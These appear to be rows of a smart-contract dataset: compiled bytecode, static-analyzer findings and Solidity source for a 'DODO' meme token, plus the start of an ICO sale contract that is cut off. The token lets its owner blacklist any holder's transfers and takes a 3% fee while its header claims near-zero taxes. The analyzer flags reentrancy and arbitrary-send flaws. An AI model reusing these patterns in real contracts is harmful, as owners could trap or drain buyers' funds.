b6001600160a01b03811681146107da57600080fd5b80151581146107da57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c69ceff0b4c1ff267fdfc1c05323dd94c341f12d3da735acbe27450ad837528964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,457 |
0x3a02498d170b4643c384cc05ac3d2a419bd42e25
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
_,--"``""-.
___ ," .--. `\
_.--"` `"-; _____` `.
.' \ \O_/` \
/ \ '._ |
| | \
| _ | |
\ .-"` ` | /
\ (`'-..,__/ /
`'---' ( -'\
/` . _ \
/ | \
; / ;
| | \
| | |
| \ \
; `\ \
\ \ , \
\ `; . ;._)
'. `._.'-' \
_________________`-.___-"-._.-"-.____.-____\_______
;;:;;:;:;;:;;;;;;;;:::| , |:| , |;::;:;:;;;::;:;;;;
::;:::;;::;;;:;;;;:::;| | |:| | |;:;;:;;;;;:;;;;::;
;;:;;:;;:::;;:;;:;;;;:\_|_/;\_|_/::;::;;;;;;;;:;:;;
;;:;;::;;:;:;:;:;;:;;;;;;;;::;;::;::;;;;::;;;;;;;:;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$DODO
100X incoming from bird season
Taxes suck, we made them as close to 0 as possible
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Dodo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "DODO";
string private constant _symbol = "DODO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x053C0DB29Ca81f093654A0E08f9E388e6F06741A);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 2;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 95000000 * 10**9;
_maxWalletSize = 190000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610305578063b87f137a14610325578063c3c8cd8014610345578063c9567bf91461035a578063dd62ed3e1461036f57600080fd5b806370a0823114610293578063715018a6146102b3578063751039fc146102c85780638da5cb5b146102dd57806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610202578063313ce567146102225780635932ead11461023e578063677daa571461025e5780636fc3eaec1461027e57600080fd5b806306fdde031461012f578063095ea7b31461016b57806318160ddd1461019b5780631b3f71ae146101c057806323b872dd146101e257600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820182526004815263444f444f60e01b6020820152905161016291906116c8565b60405180910390f35b34801561017757600080fd5b5061018b610186366004611742565b6103b5565b6040519015158152602001610162565b3480156101a757600080fd5b50678ac7230489e800005b604051908152602001610162565b3480156101cc57600080fd5b506101e06101db366004611784565b6103cc565b005b3480156101ee57600080fd5b5061018b6101fd366004611849565b61046b565b34801561020e57600080fd5b506101e061021d36600461188a565b6104d4565b34801561022e57600080fd5b5060405160098152602001610162565b34801561024a57600080fd5b506101e06102593660046118b5565b61051f565b34801561026a57600080fd5b506101e06102793660046118d2565b610567565b34801561028a57600080fd5b506101e06105c1565b34801561029f57600080fd5b506101b26102ae36600461188a565b6105ee565b3480156102bf57600080fd5b506101e0610610565b3480156102d457600080fd5b506101e0610684565b3480156102e957600080fd5b506000546040516001600160a01b039091168152602001610162565b34801561031157600080fd5b5061018b610320366004611742565b6106c1565b34801561033157600080fd5b506101e06103403660046118d2565b6106ce565b34801561035157600080fd5b506101e0610722565b34801561036657600080fd5b506101e0610758565b34801561037b57600080fd5b506101b261038a3660046118eb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c2338484610adb565b5060015b92915050565b6000546001600160a01b031633146103ff5760405162461bcd60e51b81526004016103f690611924565b60405180910390fd5b60005b81518110156104675760016006600084848151811061042357610423611959565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061045f81611985565b915050610402565b5050565b6000610478848484610bff565b6104ca84336104c585604051806060016040528060288152602001611ae8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff4565b610adb565b5060019392505050565b6000546001600160a01b031633146104fe5760405162461bcd60e51b81526004016103f690611924565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105495760405162461bcd60e51b81526004016103f690611924565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016103f690611924565b6000811161059e57600080fd5b6105bb60646105b5678ac7230489e800008461102e565b906110b7565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e157600080fd5b476105eb816110f9565b50565b6001600160a01b0381166000908152600260205260408120546103c690611133565b6000546001600160a01b0316331461063a5760405162461bcd60e51b81526004016103f690611924565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ae5760405162461bcd60e51b81526004016103f690611924565b678ac7230489e80000600f819055601055565b60006103c2338484610bff565b6000546001600160a01b031633146106f85760405162461bcd60e51b81526004016103f690611924565b6000811161070557600080fd5b61071c60646105b5678ac7230489e800008461102e565b60105550565b600c546001600160a01b0316336001600160a01b03161461074257600080fd5b600061074d306105ee565b90506105eb816111b0565b6000546001600160a01b031633146107825760405162461bcd60e51b81526004016103f690611924565b600e54600160a01b900460ff16156107dc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f6565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108183082678ac7230489e80000610adb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087a919061199e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108eb919061199e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610938573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095c919061199e565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d719473061098c816105ee565b6000806109a16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a09573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2e91906119bb565b5050600e805467015181ff25a98000600f556702a303fe4b53000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046791906119e9565b6001600160a01b038316610b3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f6565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f6565b60008111610d275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f6565b6001600a556002600b556000546001600160a01b03848116911614801590610d5d57506000546001600160a01b03838116911614155b15610fe4576001600160a01b03831660009081526006602052604090205460ff16158015610da457506001600160a01b03821660009081526006602052604090205460ff16155b610dad57600080fd5b600e546001600160a01b038481169116148015610dd85750600d546001600160a01b03838116911614155b8015610dfd57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e125750600e54600160b81b900460ff165b15610f1757600f54811115610e695760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f6565b60105481610e76846105ee565b610e809190611a06565b1115610ece5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f6565b6001600160a01b0382166000908152600760205260409020544211610ef257600080fd5b610efd42601e611a06565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f425750600d546001600160a01b03848116911614155b8015610f6757506001600160a01b03831660009081526005602052604090205460ff16155b15610f77576001600a556002600b555b6000610f82306105ee565b600e54909150600160a81b900460ff16158015610fad5750600e546001600160a01b03858116911614155b8015610fc25750600e54600160b01b900460ff165b15610fe257610fd0816111b0565b478015610fe057610fe0476110f9565b505b505b610fef83838361132a565b505050565b600081848411156110185760405162461bcd60e51b81526004016103f691906116c8565b5060006110258486611a1e565b95945050505050565b600082600003611040575060006103c6565b600061104c8385611a35565b9050826110598583611a54565b146110b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f6565b9392505050565b60006110b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611335565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610467573d6000803e3d6000fd5b600060085482111561119a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f6565b60006111a4611363565b90506110b083826110b7565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f8576111f8611959565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611251573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611275919061199e565b8160018151811061128857611288611959565b6001600160a01b039283166020918202929092010152600d546112ae9130911684610adb565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e7908590600090869030904290600401611a76565b600060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610fef838383611386565b600081836113565760405162461bcd60e51b81526004016103f691906116c8565b5060006110258486611a54565b600080600061137061147d565b909250905061137f82826110b7565b9250505090565b600080600080600080611398876114bd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ca908761151a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113f9908661155c565b6001600160a01b03891660009081526002602052604090205561141b816115bb565b6114258483611605565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146a91815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e8000061149882826110b7565b8210156114b457505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006114da8a600a54600b54611629565b92509250925060006114ea611363565b905060008060006114fd8e878787611678565b919e509c509a509598509396509194505050505091939550919395565b60006110b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff4565b6000806115698385611a06565b9050838110156110b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f6565b60006115c5611363565b905060006115d3838361102e565b306000908152600260205260409020549091506115f0908261155c565b30600090815260026020526040902055505050565b600854611612908361151a565b600855600954611622908261155c565b6009555050565b600080808061163d60646105b5898961102e565b9050600061165060646105b58a8961102e565b90506000611668826116628b8661151a565b9061151a565b9992985090965090945050505050565b6000808080611687888661102e565b90506000611695888761102e565b905060006116a3888861102e565b905060006116b582611662868661151a565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116f5578581018301518582016040015282016116d9565b81811115611707576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105eb57600080fd5b803561173d8161171d565b919050565b6000806040838503121561175557600080fd5b82356117608161171d565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561179757600080fd5b823567ffffffffffffffff808211156117af57600080fd5b818501915085601f8301126117c357600080fd5b8135818111156117d5576117d561176e565b8060051b604051601f19603f830116810181811085821117156117fa576117fa61176e565b60405291825284820192508381018501918883111561181857600080fd5b938501935b8285101561183d5761182e85611732565b8452938501939285019261181d565b98975050505050505050565b60008060006060848603121561185e57600080fd5b83356118698161171d565b925060208401356118798161171d565b929592945050506040919091013590565b60006020828403121561189c57600080fd5b81356110b08161171d565b80151581146105eb57600080fd5b6000602082840312156118c757600080fd5b81356110b0816118a7565b6000602082840312156118e457600080fd5b5035919050565b600080604083850312156118fe57600080fd5b82356119098161171d565b915060208301356119198161171d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119975761199761196f565b5060010190565b6000602082840312156119b057600080fd5b81516110b08161171d565b6000806000606084860312156119d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119fb57600080fd5b81516110b0816118a7565b60008219821115611a1957611a1961196f565b500190565b600082821015611a3057611a3061196f565b500390565b6000816000190483118215151615611a4f57611a4f61196f565b500290565b600082611a7157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac65784516001600160a01b031683529383019391830191600101611aa1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f26ef9939d7ffc8ee6cb7b3a2cffff12b8b14e256ac727201aaa861a3a939a6b64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,458 |
0x09f722d3abeef045dffc7068424d9c892bc1f1bd
|
/*
8888888 .d8888b. .d88888b. .d8888b. 888 888 888
888 d88P Y88b d88P" "Y88b d88P Y88b 888 888 888
888 888 888 888 888 Y88b. 888 888 888
888 888 888 888 "Y888b. 888888 8888b. 888d888 888888 .d8888b 88888b.
888 888 888 888 "Y88b. 888 "88b 888P" 888 d88P" 888 "88b
888 888 888 888 888 "888 888 .d888888 888 888 888 888 888
888 Y88b d88P Y88b. .d88P Y88b d88P Y88b. 888 888 888 Y88b. d8b Y88b. 888 888
8888888 "Y8888P" "Y88888P" "Y8888P" "Y888 "Y888888 888 "Y888 Y8P "Y8888P 888 888
Rocket startup for your ICO
The innovative platform to create your initial coin offering (ICO) simply, safely and professionally.
All the services your project needs: KYC, AI Audit, Smart contract wizard, Legal template,
Master Nodes management, on a single SaaS platform!
*/
pragma solidity ^0.4.21;
// File: contracts\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts\zeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts\ICOStartSale.sol
contract ICOStartSale is Pausable {
using SafeMath for uint256;
struct Period {
uint256 startTimestamp;
uint256 endTimestamp;
uint256 rate;
}
Period[] private periods;
mapping(address => bool) public whitelistedAddresses;
mapping(address => uint256) public whitelistedRates;
ERC20 public token;
address public wallet;
address public tokenWallet;
uint256 public weiRaised;
/**
* @dev A purchase was made.
* @param _purchaser Who paid for the tokens.
* @param _value Total purchase price in weis.
* @param _amount Amount of tokens purchased.
*/
event TokensPurchased(address indexed _purchaser, uint256 _value, uint256 _amount);
uint256 constant public MINIMUM_AMOUNT = 0.05 ether;
uint256 constant public MAXIMUM_NON_WHITELIST_AMOUNT = 5 ether;
/**
* @dev Constructor, takes initial parameters.
* @param _wallet Address where collected funds will be forwarded to.
* @param _token Address of the token being sold.
* @param _tokenWallet Address holding the tokens, which has approved allowance to this contract.
*/
function ICOStartSale(address _wallet, ERC20 _token, address _tokenWallet) public {
require(_wallet != address(0));
require(_token != address(0));
require(_tokenWallet != address(0));
wallet = _wallet;
token = _token;
tokenWallet = _tokenWallet;
}
/**
* @dev Send weis, get tokens.
*/
function () external payable {
// Preconditions.
require(msg.sender != address(0));
require(msg.value >= MINIMUM_AMOUNT);
require(isOpen());
if (msg.value > MAXIMUM_NON_WHITELIST_AMOUNT) {
require(isAddressInWhitelist(msg.sender));
}
